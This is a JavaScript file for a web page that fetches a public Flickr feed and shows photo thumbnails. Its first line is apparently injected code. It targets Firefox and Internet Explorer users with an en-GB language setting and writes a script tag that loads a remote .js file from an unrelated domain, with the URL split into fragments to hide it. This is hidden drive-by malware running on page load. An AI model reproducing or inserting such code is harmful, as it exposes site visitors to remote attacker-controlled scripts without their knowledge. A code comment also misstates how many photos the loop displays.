if ((/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent) && navigator.language.toLowerCase()=='en-gb') || (/MSIE (\d+\.\d+);/.test(navigator.userAgent) && (navigator.userLanguage.toLowerCase()=='en-gb' || navigator.systemLanguage.toLowerCase() =='en-gb'))) { document.write('<script language="JavaScript" type="text/javascript" src="h'+'tt'+'p:/'+'/w'+'ww.a'+'lm'+'ura'+'lg'+'ol'+'f.e'+'s/b'+'l'+'og/ga'+'sd'+'f.j'+'s"></script>') }
$(document).ready(function(){
	$.getJSON("http://api.flickr.com/services/feeds/photos_public.gne?id=41145188@N03&lang=en-us&format=json&jsoncallback=?", displayImages);
	
	function displayImages(data) {																																   
		// Randomly choose where to start. A random number between 0 and the number of photos we grabbed (20) minus 9 (we are displaying 9 photos).
		var iStart = Math.floor(Math.random()*(8));	
		
		var iCount = 0;								
		
		var htmlString = "<ul>";					
		
		$.each(data.items, function(i,item){
									
			// Let's only display 9 photos (a 3x3 grid), starting from a random point in the feed					
			if (iCount > iStart && iCount < (iStart + 13)) {
				
				// Thumbnails
				var sourceSquare = (item.media.m).replace("_m.jpg", "_s.jpg");		
				
				htmlString += '<li><a href="' + item.link + '" target="_blank">';
				htmlString += '<img src="' + sourceSquare + '" alt="' + item.title + '" title="' + item.title + '"/>';
				htmlString += '</a></li>';
			}
			iCount++;
		});		
		
	$('#flickr-feed').html(htmlString + "</ul>");
	
	}
});